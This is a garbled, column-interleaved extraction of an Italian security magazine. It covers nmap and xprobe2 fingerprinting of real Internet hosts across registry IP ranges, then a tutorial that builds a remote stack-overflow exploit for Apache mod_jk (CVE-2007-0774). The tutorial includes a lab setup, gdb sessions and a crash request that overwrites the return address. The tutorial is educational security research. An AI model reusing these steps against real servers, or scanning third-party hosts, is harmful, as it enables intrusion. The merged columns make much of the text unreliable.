congruo si è proceduto ad un'ulteriore verifica con colonna separato dal delimitatore spazio. L'altra parte nmap. del comando rimuove invece dall'output scritto nel file

asia_list1 la stringa “Nmap”. Ciò è sufficiente per Come è stato selezionato il campione di IP per il generare una lista di IP attivi utilizzabile come input test?delle fasi successive.

Il range di indirizzi IP da testare è stato determinato Una volta determinati strumenti da utilizzare e consultando l'attuale lista dei blocchi di assegnazione campione da sondare, come è stato svolto il test?

IPv4 dal sito dello IANA[11]. Per semplicità i blocchi

contraddistinti dalla dicitura “Various Registries” Per le scansioni con xprobe2 è stato utilizzato il

sono stati scartati. Il range limitato di IP costituente il seguente script bash:campione sondato è stato invece selezionato a partire

#!/bin/shdai blocchi esclusivamente assegnati ad uno dei tre

registri facenti capo all'area Europea, Asiatica e delle IPS=`cat $1`

Americhe (rispettivamente RIPE, APNIC ed ARIN). Per

ciascuno di questi tre comparti territoriali è stato for i in $IPSdoeffettuato uno Sweep Scan con Nmap per identificare xprobe2 $i -M 6 -M 7 -M 8 -M 9 -M 10 >>

gli host attivi nel range:$2_xprobe2_fingerprint.txt

focus on LINUX KERNEL 2.6 E TECNOLOGIE ANTI OVERFLOW

COME SONO STATI GENERATI I DATI DELLA TABELLA 2 ?

11

Page 12: Security System

focus on LINUX KERNEL 2.6 E TECNOLOGIE ANTI OVERFLOW

degli host (la lista è infatti composta da IP già identificatidone come attivi).

che eseguito nel modo di seguito indicato:-O Attiva la modalità TCP Fingerprint

# chmod +x scriptA questo punto terminata la raccolta dei dati, gli stessi # ./script IP_active_asia.txt asia

sono stati esaminati e sviluppati fino a giungere alle g e n e r a u n u n i c o f i l e d e n o m i n a t o percentuali allegate in Tabella 2. Lasciamo comunque al asia_xprobe2_fingerprint.txt in cui viene lettore il compito di sperimentare per conto proprio

scritto tutto l'output di xprobe2. questa fase. Inviateci le vostre statistiche all'indirizzo

[email protected] in formato html o pdf,

Per le scansioni con nmap l'intera attività è invece stata possibilmente corredate da grafici e/o tabelle, assieme

svolta in modo più semplice utilizzando direttamente la agli strumenti o agli script che avete creato per

lista degli indirizzi IP ricavata nella fase precedente: generarle. I migliori lavori prodotti verranno condivisi sul

nostro sito Internet o pubblicati direttamente sulla nostra # nmap -iL IP_active_asia.txt -n -P0 -O

rivista!-oN asia_nmap_fingerprint.txt

Dove:[9] http:///www.sys-security.com

[10] http://www.insecure.org-iL Indica ad nmap di prelevare gli indirizzi IP da [11] http://www.iana.org/assignments/ipv4-address-space - Da

s o n d a r e d i r e t t a m e n t e d a l f i l e l i s t a Wikipedia: L'Internet Assigned Numbers Authority è un

IP_active_asia.txt.organismo che ha responsabilità nell'assegnazione degli

indirizzi IP.-P0 Salta i test per verificare l'effettiva raggiungibilità

Per migliorare i risultati delle tue statistiche accedi ai contenuti messi a disposizione dalla redazione su

http://www.segfault.it/SS/001/stats/pack.tar.gz

Tabella 1: Riepilogo schematizzato delle funzionalità di sicurezza implementate di default su piattaforma x86 dalle principali distribuzioni

Linux esistenti.

[*] Tutti i package di sistema più importanti forniti con la distribuzione sono compilati di default con -fstack-protector

[**] Tutti i package di sistema più importanti forniti con la distribuzioni sono compilati di default con -D_FORTIFY_SOURCE=1 e/o 2

[***] Durante la compilazione di qualsiasi sorgente l'opzione -fstack-protector è implicitamente attiva.

kernel 2.2 kernel 2.4 kernel 2.6

Centro Europa (RIPE) 1,3% 37,81% 60,89% Cina (Asia – APNIC) 23,38% 37,76% 38,96%

Stati Uniti (America -ARIN) 2,22% 57,03% 40,75%

Tabella 2: Diffusione degli ultimi tre branch stabili del kernel Linux su un campione di 1000 sistemi sondati

N X P a t c h ( e m u l a z i o n e

s o f t w a r e ) A S L R S S P

F O R T I F Y S O U R C E

F e d o r a C o r e

5 / 6 / 7 ( E x e c -S h i e l d )

( E x e c - S h i e l d )

[ * ] [ * * ]

U b u n t u 6 . 1 0 [ * ] [ * * * ] U b u n t u 7 . 0 4 [ * ] [ * * * ]

O p e n S u S E 1 0 . 2 [ * ] [ * * ] S l a c k w a r e 1 2 D e b i a n 4 . 0 r 1

M a n d r i v a F r e e 2 0 0 7 . 1

[ * ] [ * * ]

12

Page 13: Security System

look at LINUX STACK OVERFLOW VANILLA: IL CASO MOD_JK

programma. Ciascuna funzione che necessita di o stack overflow è uno degli errori di

argomenti crea solitamente un suo stack frame, programmazione più “antichi” ed allo stesso L un'area dedicata nella quale colloca le proprie tempo ancora oggi più comuni. Secondo un

strutture dati e che viene puntata dal registro EBP rapporto del CWE[1] che studia le falle ricorrenti

(detto anche Base Pointer o più comunemente osservate nel software durante il quinquennio 2001-

Frame Pointer). Questo indirizzo rimane costante overflow [5]2006, la categoria degli ha mantenuto fino

lungo tutta l'esecuzione della funzione per al 2005 la prima posizione, ovvero fino a quando le

permettere al processore di localizzare in modo vulnerabilità web di tipo XSS non sono letteralmente

preciso le variabili o le zone di memoria di interesse, esplose in tutto il mondo (un avvento paragonabile in

al contrario del registro ESP (lo Stack Pointer) che termini di diffusione a quello dei format string

come dice lo stesso nome, punta invece overflow[2] avvenuto tra il 1999 ed il 2000 ma

costantemente alla parte attiva dello stack che è destinato, secondo gli esperti, a perdurare

soggetta a continue variazioni a seguito delle maggiormente nel tempo). Come conseguenza di

operazioni di inserimento/rimozione dei dati questo evento, le problematiche legate ai buffer

(push/pop) o di sottrazione/addizione (sub/add), overflow sono passate in seconda posizione in

termini di frequenza anche se ancora oggi si stima queste ultime utilizzate solitamente per fare spazio

che la loro diffusione sia maggiore di altre alle variabili locali e ripristinare gli stack frame di

vulnerabilità molto in voga come quelle di tipo SQL competenza delle funzioni chiamanti.

Injection o File Inclusion, a dispetto del crescente

interessamento verso la sicurezza Web manifestato Simulazione teorica

di recente da penetration tester e bug hunter. Nella L'esecuzione di un'applicazione scritta in C/C++ lunga lista delle vulnerabilità correlabili alla categoria parte dal blocco main() e si dirama via via verso le dei buffer overflow quelli che si manifestano nello

altre funzioni necessarie al corretto espletamento stack rimangono certamente i più comuni, pur la loro

delle attività applicative.longevità risalibile nel tempo al famoso Morris

worm[3]. Non a caso su siti come securityfocus[4] [1] http://cwe.mitre.org/documents/vuln-trends/index.html: Il sito vengono giornalmente pubblicati bollettini che ospita un database che cataloga le vulnerabilità in base alla loro

dettagliano problematiche software del genere. tipologia e ne studia la diffusione per categoria (non per singolo

Poiché alcuni degli argomenti che tratteremo in futuro bug).

o in questo stesso numero della rivista necessitano di [2] In termini di diffusione i format string overflow hanno avuto conoscenze basilari di cosa è, ma soprattutto di come un picco repentino che è andato però velocemente scemando.

opera uno stack, quella che segue è una trattazione

[3] Robert Tappen Morris, ora professore al Massachusetts dei principali concetti relativi a questo tema. Institute of Technology, fu l'artefice il 2 Novembre del 1988 del Successivamente verrà proposto un esempio reale e primo worm mai affacciatosi su Internet. All'epoca studente della

recente di vulnerabilità collocabile nella categoria Cornell University, progettò il worm a scopo statistico per

degli stack overflow. Per meglio comprendere le determinare l'estensione dell'allora neonata rete, ma la rapidità

parti che seguono sono comunque vivamente con cui si diffuse e le modalità di infezione causarono il blocco

indesiderato di migliaia di sistemi. Il worm sfruttava diverse falle consigliate delle conoscenze anche minime di conosciute tra le quali uno stack overflow nel demone fingerd. programmazione in C e/o C++.Tutta la storia ed il codice del worm possono essere consultati al

seguente indirizzo http://www.morrisworm.com.Lo Stack in pillole su architettura hardware x86

[4] http://www.securityfocus.com

Lo stack è una regione di memoria in cui le [5] Un indirizzo è un valore rappresentato in forma esadecimale applicazioni depositano il contenuto delle variabili, i che nell'architettura hardware x86 ha la dimensione di 4 byte.

parametri passati alle funzioni o i puntatori che Indica un punto ben preciso in memoria. Un esempio di

permettono di raggiungere punti nevralgici del indirizzo è 0xbfffee00.

13

Page 14: Security System

LINUX STACK OVERFLOW VANILLA: IL CASO MOD_JK

[…]Quando una funzione viene invocata, il programma

e ritorna al blocco main(): solitamente esegue le seguenti operazioni base

(supponiamo che dal main() venga chiamata la […]

funzione xxx): 0x080488c1 <xxx+86>: ret[…]

1) dal blocco main() il programma colloca nello stack L’istruzione “ ” preleva dalla posizione attuale retdello stack (ovvero l'indirizzo puntato dallo Stack (o nei registri del processore) i dati o gli indirizzi di Pointer) i primi 4 byte in memoria. Questi memoria in cui essi risiedono che verranno rappresentano l'indirizzo di ritorno inserito dalla

utilizzati dalla funzione xxx come argomenti; istruzione durante il punto 2.call

2) sempre dal main() il programma invoca con Adesso si è nuovamente sul e l'esecuzione del main() l'istruzione call la funzione xxx. Questa programma riprende da dove era stata originariamente istruzione posiziona nello stack il cosiddetto deviata.indirizzo di ritorno (4 byte) che verrà utilizzato dal

processore per ritornare al blocco main() (ovvero Come si manifesta uno stack overflow nei sistemi all'istruzione subito successiva alla call) quando

privi di tecnologie anti overflowla funzione xxx avrà terminato lo svolgimento dei

suoi compiti. Un overflow nello stack si manifesta nell'esatto

momento in cui l'applicazione prova a memorizzare i […] dati provenienti da input utente in un buffer troppo <main+446>: call 0x804886b <xxx> piccolo per contenerli. Questa circostanza non causa […] l'interruzione immediata del programma come ci si

aspetterebbe, bensì i dati in eccesso continuano ad

essere scritti nello stack, modificando le strutture ed i A questo punto l'esecuzione del programma continua puntatori allocati. Fra questi, l 'alterazione dalla funzione xxx:dell'indirizzo di ritorno è lo scopo ultimo dell'attacco.

Il raggiungimento di questo obiettivo consente di

redirezionare il flusso di esecuzione dell'applicazione 3) la funzione xxx crea il suo stack frame in tre step. verso un qualsiasi punto in memoria, ad esempio uno Dapprima salva nello stack l'indirizzo del frame shellcode precedentemente posizionato nello stack [6]attuale[*], poi rende l'indirizzo puntato dal registro come parte del buffer sovrascritto.

ESP il frame corrente copiandolo in EBP[**], infine

fa spazio per le eventuali variabili locali [***] Pratica con CVE-2007-0774[7](istruzione sub sul valore puntato dal registro

La teoria è inutile se poi non può essere messa in ESP):

pratica! Invece di dimostrare come uno stack overflow [*] 0x0804886b <xxx>: push %ebp può essere abusato su un banale codice di esempio di [**] 0x0804886c <xxx+1>: mov %esp,%ebp

poche righe, analizziamo un'applicazione reale.[***]0x0804886e <xxx+3>: sub $0x118,%esp[…]

4) la funzione xxx svolge le sue operazioni…

5) al termine, ripristina lo stack frame precedente di

competenza del main() (solitamente un'istruzione

add sul valore puntato dal registro ESP):

[…]0x0804886e <xxx+73>: add $0x118,%esp

look at

[6] uno shellcode è la rappresentazione (spesso in formato

esadecimale) di istruzioni del linguaggio macchina, i cui contenuti se

collocati in aree di memoria non limitate, vengono appositamente

eseguiti dal processore. Il suo scopo è solitamente quello di aprire

un canale di accesso remoto.

[7] http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-

0774: Il CVE (Common Vulnerabilities and Exposures) fa parte di

un'iniziativa fondata dal dipartimento della sicurezza statunitense

volta a standardizzare, con un codice identificativo univoco, le

singole vulnerabilità conosciute per il software in circolazione.

14

Page 15: Security System

LINUX STACK OVERFLOW VANILLA: IL CASO MOD_JK

La falla software in questione, resa pubblica lo scorso ciclo giunge al byte di terminazione della prima stringa

marzo, risiede in alcune versioni di Mod_jk, un ( strlen(uri) ) fornita dall'utente. Se questa stringa è

modulo di Apache che permette al web server di più grande di JK_MAX_URI_LEN (ovvero superiore in

comunicare con il servlet engine Jakarta Tomcat per dimensioni ai 4096 byte), il buffer url viene

la divulgazione di applicazioni web dinamiche. completamente saturato ed i dati in eccesso Stando alle informazioni diramate con il bollettino continuano ad essere scritti nello stack fino a ZDI-07-008[8], le versioni 1.2.19 e 1.2.20 del modulo raggiungere il return address. sono soggette ad un'overflow che si manifesta nello

stack. Potendo disporre direttamente dei sorgenti[9] si

può in questo caso analizzarli per identificare l'esatto

punto in cui gli sviluppatori hanno commesso l'errore.

Queste informazioni ci saranno utili per creare in

seguito un exploit remoto funzionante.

La vulnerabilità

La funzione vulnerabile è map_uri_to_worker()

che risiede dentro il file jk_uri_worker_map.c nella

directory native/common. Nella versione 1.2.20 dei

sorgenti del modulo, dopo una serie di controlli

formali, il contenuto di uri (un const char *

proveniente da input utente e passato come

argomento alla funzione) viene travasato byte per

byte nella variabile locale url attraverso un ciclo for.

La var iabi le url è def in i ta a l l ' in iz io d i

map_uri_to_worker() come un array di caratteri

che può contenere al massimo JK_MAX_URI_LEN

byte +1. A sua volta JK_MAX_URI_LEN viene definito

all'interno del file jk_uri_worker_map.h con:

#define JK_MAX_URI_LEN 4095

Ciò significa che url può contenere al massimo una

stringa di 4096 byte. La copia da un buffer all'altro

viene gestita dal codice che segue:

for (i = 0; i < strlen(uri); i++)

if (uri[i] == ';')

break;

else

url[i] = uri[i];

url[i] = '\0';

L'errore risiede proprio in questo blocco. La copia del

contenuto di uri in url termina solamente quando il

COME È STATO RISOLTO IL BUG NELLE VERSIONI DI MOD_JK SUPERIORI ALLA 1.2.20?

Diamo più da vicino uno sguardo a come è stata

modificata la funzione vulnerabile nella versione

1.2.25[10] del modulo (l'ultima disponibile nel momento

in cui si scrive):

[…]

for (i = 0; i < strlen(uri); i++) {

if (i == JK_MAX_URI_LEN) {

jk_log(l, JK_LOG_WARNING,

"Uri %s is invalid. Uri must be smaller then %d chars",

uri, JK_MAX_URI_LEN);

JK_TRACE_EXIT(l);

return NULL;

}

if (uri[i] == ';')

break;

else {

url[i] = uri[i];

[…]

}

}

url[i] = '\0';

Gli sviluppatori hanno incluso un nuovo blocco

condizionale (if) che controlla il valore raggiunto dalla

variabile numerica “i” (la posizione attuale del byte di

uri che deve essere copiato in url) con

JK_MAX_URI_LEN (la dimensione massima accettata

per l'input utente). Nel caso in cui “i” fosse uguale a

“4095”, nei log generati dal modulo verrebbe scritto un

messaggio d i avviso re lat ivo a l l 'er rore e

map_uri_to_worker() r i t o r n e r e b b e

immediatamente alla funzione chiamante, evitando di

generare uno stack overflow.

look at

[8] http://www.zerodayinitiative.com/advisories/ZDI-07-008.html

[9] http://archive.apache.org/dist/tomcat/tomcat-

connectors/jk/source/jk-1.2.20/

[10] http://archive.apache.org/dist/tomcat/tomcat-

connectors/jk/source/jk-1.2.25/

15

Page 16: Security System

LINUX STACK OVERFLOW VANILLA: IL CASO MOD_JK

Creare un exploit funzionante in ogni circostanza). Nel nostro caso ciò significa

installare e configurare Apache, installare Jakarta

Per evitare di scontrarsi con una qualsiasi delle Tomcat ed il connettore mod_jk. Questi step

tecnologie anti overflow presenti nelle recenti vengono descritti in dettaglio nell'apposito box qui

versioni di Linux e comprendere come un vanilla sotto. Prima di proseguire nella lettura dell'articolo, è

stack overflow può essere sfruttato con successo, è bene accertarsi quindi di aver portato a termine tutte

buona norma per il momento fare pratica con una le procedure lì descritte.

distribuzione del pinguino completamente sprovvista

di questo genere di misure di protezione (soprattutto

se questo è il vostro primo hack). Per i nostri test

abbiamo deciso di utilizzare una Red Hat 7.2[11] [11] Le due ISO di “enigma” (nome in codice per Red Hat 7.2)

installata all'interno di una istanza VMWare. Prima di non sono più ufficialmente fornite da Red Hat ma possono

essere ancora prelevate da svariati siti come introdurre le operazioni che porteranno alla http://redhat.lsu.edu/dist/7.2/iso/ oppure creazione di un exploit remoto è naturalmente http://xfiles.erin.utoronto.ca/pub/unix/redhat/7.2/en/iso/i386/

necessario predisporre l'ambiente di test (questo vale

PREDISPORRE L'AMBIENTE DI TEST PER LA VULNERABILITÀ CVE-2007-0774

Attenzione: le configurazioni che seguono sono volte esclusivamente a creare un ambiente di test privato e non sono

pertanto indicate per configurare un sistema di produzione. Gli amministratori di sistema che dalle seguenti linee guida

vorranno trarre degli spunti per configurare uno o più server che offrono servizi online, devono comprendere che essi

necessiteranno della definizione di permessi più accorti di quelli menzionati e riportati qui sotto.

Installare Apache

Il primo passo da compiere è installare Apache. Per semplificare questo task è sufficiente utilizzare la versione già fornita

con Red Hat 7.2. In fase di installazione della distribuzione si seleziona un deployment di tipo Custom e tra le funzionalità a

cui il sistema sarà adibito si sceglie Web Server. E' fondamentale selezionare anche il gruppo di pacchetti relativo agli

strumenti di sviluppo software.

Installare JSDK

L'unico requisito di Jakarta Tomcat è il Java Development Kit (JDK)[12]. La versione fornita è autoestraente. Dopo averla

collocata nel punto desiderato del filesystem, è sufficiente (da utente root) digitare:

# chmod +x j2sdk-1_4_2_15-linux-i586.bin

# ./j2sdk-1_4_2_15-linux-i586.bin

La directory estratta deve essere poi spostata in /usr/java:

# mkdir /usr/java

# mv j2sdk1.4.2_15 /usr/java

Successivamente va modificato il file /etc/profile aggiungendo le seguente righe:

# JAVA_HOME=”/usr/java/j2sdk1.4.2_15”

# export JAVA_HOME

look at

16

Page 17: Security System

LINUX STACK OVERFLOW VANILLA: IL CASO MOD_JK

Si salva il file e si digita da shell:

# . /etc/profile

Così facendo la variabile d'ambiente JAVA_HOME verrà immediatamente creata nel proprio contesto e non sarà necessario

riloggarsi al sistema.

Creare gli account utente

Si procede adesso alla creazione di un utente e di un gruppo dedicato per le applicazioni Web dinamiche e statiche che

gireranno per mezzo di Tomcat ed Apache:

# groupadd wwwsite

# useradd –g wwwsite wwwsite

Installare Tomcat

Si decomprime la versione 5.0.28 di Tomcat[12]:

# tar xvfz jakarta-tomcat-5.0.28.tar.gz

La directory estratta viene spostata in /usr/local:

# mv jakarta-tomcat-5.0.28 /usr/local

Si modificano il gruppo e l'utente owner di questa directory:

# chown –R wwwsite.wwwsite /usr/local/jakarta-tomcat-5.0.28

A questo punto si è pronti per lanciare il servizio:

# cd /usr/local/jakarta-tomcat-5.0.28/bin

# ./startup.sh

Per testare se Tomcat sta funzionando è sufficiente aprire il browser, digitare “http://ip_del_server:8080” e verificare la

corretta visualizzazione della pagina di benvenuto con alla sinistra alcuni link che puntano a documentazione e codice di

esempio. Lanciare alcuni dei codici di esempio cliccandoci semplicemente sopra. Dopo aver accertato il loro

funzionamento è possibile fermare il servizio:

# ./shutdown.sh

Installare il connettore mod_jk

Si decomprime la versione 1.2.20 del tomcat-connectors[12] (il modulo mod_jk che prende le richieste degli utenti che

pervengono ad Apache e le rigira a Tomcat) nel punto desiderato del filesystem:

# tar xvfz tomcat-connectors-1.2.20-src.tar.gz

Si compila il pacchetto:

look at

17

Page 18: Security System

LINUX STACK OVERFLOW VANILLA: IL CASO MOD_JK

# cd ./tomcat-connectors-1.2.20-src/native

# ./buildconf.sh

# ./configure –-with-apxs=/usr/sbin/apxs

# make

Al termine di questa procedura il modulo creato deve essere spostato nella directory in cui risiedono tutti i moduli di Apache:

# cd ./apache-1.3

# cp mod_jk.so.0.0.0 /etc/httpd/modules/mod_jk.so

Creare il tree di directory

A questo punto si crea l'albero delle directory in cui risiederanno in seguito una pagina di esempio statica (in HTML classico)

ed una dinamica (scritta in JSP):

# mkdir /home/wwwsite/webapps/test.com

# mkdir /home/wwwsite/webapps/test.com/logs

# mkdir /home/wwwsite/webapps/test.com/test

# mkdir /home/wwwsite/webapps/test.com/test/WEB-INF

# mkdir /home/wwwsite/webapps/test.com/test/WEB-INF/classes

Vanno quindi impostati i relativi permessi:

# chmod 755 /home/wwwsite/webapps

# chmod 755 /home/wwwsite/webapps/test.com

# chmod 755 /home/wwwsite/webapps/test.com/test

Configurare Tomcat

Siamo così giunti alla fase della configurazione dei servizi. Il primo step per Tomcat consiste nel definire in che modo il

modulo mod_jk potrà comunicare con il servlet engine. Queste informazioni sono contenute nel file

workers.properties che dovrà essere collocato nella directory /etc/httpd/conf:

# workers.properties - ajp13

#

# List workers

worker.list=wrkr

#

# Define wrkr

worker.wrkr.port=8009

worker.wrkr.host=localhost

worker.wrkr.type=ajp13

worker.wrkr.socket_timeout=300

In questo caso il modulo Apache invierà le richieste degli utenti sulla porta TCP 8009 dell'interfaccia locale localhost

(127.0.0.1) in cui starà in ascolto Tomcat. Il forward verrà espletato attraverso il protocollo Ajpv 13 su canale TCP/IP.

look at

18

Page 19: Security System

LINUX STACK OVERFLOW VANILLA: IL CASO MOD_JK

Il secondo file di configurazione è invece server.xml che va collocato in /usr/local/jakarta-tomcat-

5.0.28/conf/. Nel nostro caso quello esistente può essere tranquillamente sovrascritto:

<Server port="8005" shutdown="test" debug="0">

<Service name="Tomcat-Apache">

<Connector address="127.0.0.1"

port="8009"

minProcessors="5"

maxProcessors="75"

enableLookups="false"

protocol="AJP/1.3"

debug="0"/>

<Engine name="appserver"

debug="0"

defaultHost="test.com">

<Host name="test.com"

appBase="/home/wwwsite/webapps"

autoDeploy="false"

deployOnStartup="false"

unpackWARs="false"

deployXML="true"

debug="0"/>

</Engine>

</Service>

</Server>

Qui in pratica vengono definite le porte TCP in cui Tomcat starà in ascolto (8005 per la ricezione del segnale di stop del

servizio ed 8009 per ricevere e soddisfare le richieste provenienti da Apache). Viene inoltre definito un host virtuale

test.com e la locazione nel disco in cui le pagine del sito risiedono (direttive “Host name” ed “appBase”).

Il terzo ed ultimo file di configurazione per Tomcat va collocato all'interno di un nuovo tree di directory:

# mkdir –p /usr/local/jakarta-tomcat-5.0.28/conf/appserver/test.com

# touch /usr/local/jakarta-tomcat-5.0.28/conf/appserver/test.xml

Il file test.xml va infine popolato con le seguenti direttive:

<Context path=""

docBase="test.com/test"

reloadable="true"

debug="0"/>

Configurare Apache

Il file di configurazione di apache (/etc/httpd/conf/httpd.conf) consta di tre aree appositamente marcate al suo

interno come:

look at

19

Page 20: Security System

LINUX STACK OVERFLOW VANILLA: IL CASO MOD_JK

1. Global Environment

2. Main Server Configuration

3. Virtual Hosts

Ciascuna di queste deve essere opportunamente modificata. Nella sezione Global Environment, subito dopo i punti in cui

vengono caricati i moduli mod_dir.so e mod_cgi.so, si devono aggiungere le direttive:

LoadModule jk_module modules/mod_jk.so

AddModule mod_jk.c

All'inizio della sezione Main Server Configuration risiedono poi le direttive User e Group che indicano sotto quale utente

e gruppo i processi figli di Apache devono essere eseguiti. Vanno modificate nel seguente modo:

User wwwsite

Group wwwsite

Nella parte bassa della stessa sezione vanno inoltre aggiunte queste altre direttive:

JkWorkersFile "/etc/httpd/conf/workers.properties"

JkLogFile "/etc/httpd/logs/mod_jk.log"

JkLogLevel info

JkLogStampFormat "[%a %b %d %H:%M:%S %Y]"

Infine la sezione Virtual Hosts deve così essere modificata:

NameVirtualHost 192.168.1.1:80

<VirtualHost 192.168.1.1:80>

ServerAdmin [email protected]

ServerName www.test.com

DocumentRoot /home/wwwsite/webapps/test.com/test

ErrorLog /home/wwwsite/webapps/test.com/logs/error_log

CustomLog /home/wwwsite/webapps/test.com/logs/access_log common

JkMount /*.jsp wrkr

JkMount /servlet/* wrkr

# Nega l'accesso diretto a to WEB-INF

<LocationMatch ".*WEB-INF.*">

AllowOverride None

deny from all

</LocationMatch>

</VirtualHost>

In questo caso 192.168.1.1 è l'indirizzo IP di una delle interfacce di rete della macchina utilizzata come web server di

test. Ovviamente questa informazione va modificata secondo la vostra attuale configurazione di rete.

Ultime impostazioni

A questo punto si è giunti al completamento della configurazione. Una volta copiati i due script di prova[12] index.html e

test.jsp nella directory /home/wwwsite/webapps/test.com/test e lanciati i servizi Tomcat ed Apache:

look at

20

Page 21: Security System

LINUX STACK OVERFLOW VANILLA: IL CASO MOD_JK

# cd /usr/local/jakarta-tomcat-5.0.28/bin

# ./startup.sh

# /etc/init.d/httpd start

puntate il browser sugli URL http://ip_del_server/ e http://ip_del_server/test.jsp. Se vengono visualizzate entrambe le

pagine l'ambiente di test sarà stato installato con successo. Adesso siete pronti per la parte più divertente: l'accertamento e

l'exploiting della vulnerabilità CVE-2007-0774.

[12] Per semplificare la predisposizione dell'ambiente di test abbiamo incluso in un unico package tutte le componenti necessarie

(sorgenti e file di configurazione). Il package può essere prelevato da http://www.seg-fault.net/SS/001/vanillab0f/all_pack.tar.gz

Fase 1: Determinare quanti byte sono necessari Nel secondo caso invece bisognerà identificare il

per raggiungere il return address dal buffer punto esatto interessato, ovvero appena prima che la

saturato funzione ritorni:

(gdb) disas map_uri_to_workerUna volta predisposto l'ambiente di test e verificatone ---Type <return> to continue, or q il funzionamento, Apache è pronto per ricevere le <return> to quit---

richieste dagli utenti. Prima di scrivere però l'exploit […]

vero e proprio è necessario tracciare i l 0x403c3b70 <map_uri_to_worker+1376>: pop

comportamento del modulo mod_jk avviando una %ebp

sessione di debugging. In questo caso ci avvarremo di 0x403c3b71 <map_uri_to_worker+1377>: ret

gdb per agganciarci ad uno dei processi figli del web End of assembler dump.server. Dapprima si determinano i relativi pid:

(gdb) break *0x403c3b70 [**]

# ps –uax | grep httpd | grep wwwsite Breakpoint 2 at 0x403c3b70: file

wwwsite 1616 0.0 3.3 46752 6468 ? S 06:14 0:00 jk_uri_worker_map.c, line 636.

/usr/sbin/httpd

wwwsite 1617 0.0 3.3 46752 6468 ? S 06:14 0:00 A questo punto si istruisce il processo che può

/usr/sbin/httpdcontinuare normalmente la sua esecuzione:

[…]

(gdb) cIn questa circostanza si seleziona il primo e si procede Continuing.con la fase di attach indicando da linea di comando il

punto in cui risiede il file eseguibile dell'applicazione Adesso disponiamo di un ambiente pronto al oggetto del test ed il pid prescelto: tracciamento di uno dei processi figli di Apache, ma

serve l'evento scatenante per ottenere le informazioni # gdb /usr/sbin/httpd 1616

su cui basarsi per costruire l'exploit. Questo evento è

semplicemente una richiesta tale che permetta Dopo aver attraversato la lista dei moduli caricati all'overflow di manifestarsi. (tasto Invio), si imposta un breakpoint[13] all'inizio[*] ed

uno subito prima dell'uscita[**] della funzione

vulnerabile. Il primo obiettivo è semplicemente [13] Un breakpoint è un punto di arresto nel normale flusso di

esecuzione di un programma. Viene utilizzato nelle sessioni di raggiungibile digitando dal prompt del gdb:debugging per monitorare lo stato dei registri del processore o

delle aree di memoria di un'applicazione in un preciso momento (gdb) break *map_uri_to_worker [*]

(nel nostro caso alcuni attimi prima del manifestarsi dello stack Breakpoint 1 at 0x403c3610: file

overflow e poco prima del ritorno della funzione vulnerabile).jk_uri_worker_map.c, line 536.

look at

21

Page 22: Security System

LINUX STACK OVERFLOW VANILLA: IL CASO MOD_JK

Sappiamo che il buffer che traboccherà (url) potrà condizione descritta sopra. Al momento abbiamo

infatti messo sotto debugging solamente uno dei figli contenere al massimo 4096 byte, ma quanti byte

di Apache (di default ne vengono caricati 8 in saranno necessari con esattezza per sovrascrivere

un'installazione standard di Red Hat 7.2) e non è l'indirizzo di ritorno della funzione vulnerabile? Nel

detto che la prima richiesta HTTP inviata venga nostro caso non si può disporre inizialmente di questa

gestita proprio dal processo che stiamo tracciando. informazione se non in modo approssimativo,

pertanto l'unica cosa logica da fare è inviare al web

La prima interruzione momentanea del processo è server una richiesta più grande della dimensione del

relativa al primo breakpoint. A questo punto buffer “url” ed analizzare cosa succede. L'evento

l'overflow non si è ancora manifestato in quanto scatenante in questione sarà dunque generato dal

siamo nella fase iniziale di esecuzione della funzione sorgente di test mostrato in Figura 1. Il codice è ben

vulnerabile. Continuiamo quindi con il caricamento commentato ma in sintesi si occupa di inviare una

dell'applicazione:richiesta HTTP con un URI[14] di 4128 byte (incluso il

carattere slash) che mira a mandare in crash il (gdb) cprocesso debuggato. La parte più interessante del Continuing.sorgente è l'array di caratteri crash:

Subito dopo aver lanciato il comando “c” nel prompt di char crash [] =

"BBBBCCCCDDDDEEEEFFFFGGGGHHHHIIII"; gdb, la funzione map_uri_to_worker() esegue tutte

le istruzioni fino al secondo breakpoint, ovvero poco

Dopo aver riempito con delle “A” per 4095 byte il prima del suo ritorno. In questo momento il buffer url

buffer buf (l'URI che verrà inviato come parte della è già stato sovrascritto e dovrebbe aver alterato il

return address.. L'istruzione successiva al richiesta HTTP al web server), successivamente

breakpoint corrente è “ret”, ciò significa che il viene copiato al suo interno il contenuto di crash (32

processore prenderà i primi 4 byte che troverà nello byte). Il motivo di questa accortezza sarà evidente più

stack e continuerà l'esecuzione dell'applicazione da avanti, quando si avrà necessità di determinare con

quell'indirizzo. Diamo un breve sguardo a quale esattezza quanti byte saranno necessari per

indirizzo punta attualmente il registro ESP (lo Stack sovrascrivere il return address. Adesso compiliamo

Pointer):ed eseguiamo l'applicazione:

(gdb) p $esp$ gcc crash.c –o crash

$1 = (void *) 0xbffff578$ ./crash ip_macchina_di_test 80

Adesso osserviamo il contenuto dei prossimi 4 byte Nella finestra in cui è stata lanciata la sessione di

che si trovano a partire da quest'area di memoria debugging dovrebbe quindi apparire a video un

(quelli che la successiva istruzione “ret” preleverà messaggio simile al seguente:

dallo stack ed utilizzerà come indirizzo di ritorno):

[Switching to Thread 1024 (LWP 1616)]

Breakpoint 1, map_uri_to_worker (gdb) x/4bx $esp+4

(uw_map=0x8174000, uri=0x817c0b8 "/", 'A' 0xbffff57c: 0x49 0x49 0x49 0x49

<repeats 199 times>..., l=0x40412580) at

jk_uri_worker_map.c:536

[14] Per URI si intende in questo caso la risorsa HTTP richiesta.

Ad esempio in http://10.10.10.10/index.html, l'URI è Nel caso in cui ciò non fosse successo, lanciare

rappresentato da “index.html”.crash più volte fino a quando non si verifica la

look at

22

Page 23: Security System

LINUX STACK OVERFLOW VANILLA: IL CASO MOD_JK

0x49494949 sarà quindi l'indirizzo che il processore cresce verso indirizzi decrescenti e viceversa

decresce verso indirizzi crescenti, pertanto il buffer utilizzerà come return address per ritornare alla

“buf” si troverà in un indirizzo rappresentato da un funzione che ha precedentemente invocato

map_uri_to_worker(). La conversione da valore più basso rispetto al return address, pur

trovandosi effettivamente prima nello stack. Questo esadecimale ad ASCII di questo valore è “IIII”,

ad esempio è ciò che viene visualizzato a video esattamente le ultime quattro lettere contenute

analizzando i 2000 byte successivi all'indirizzo all'interno dell'array di caratteri “crash” nel sorgente di

“0xbffff578” a cui vengono sottratti 1400 byte (cioè esempio mostrato in Tabella 1. Ciò oltre ad indicarci

partendo da 0xbffff000):che è effettivamente possibile sovrascrivere in modo

arbitrario l'indirizzo di ritorno della funzione

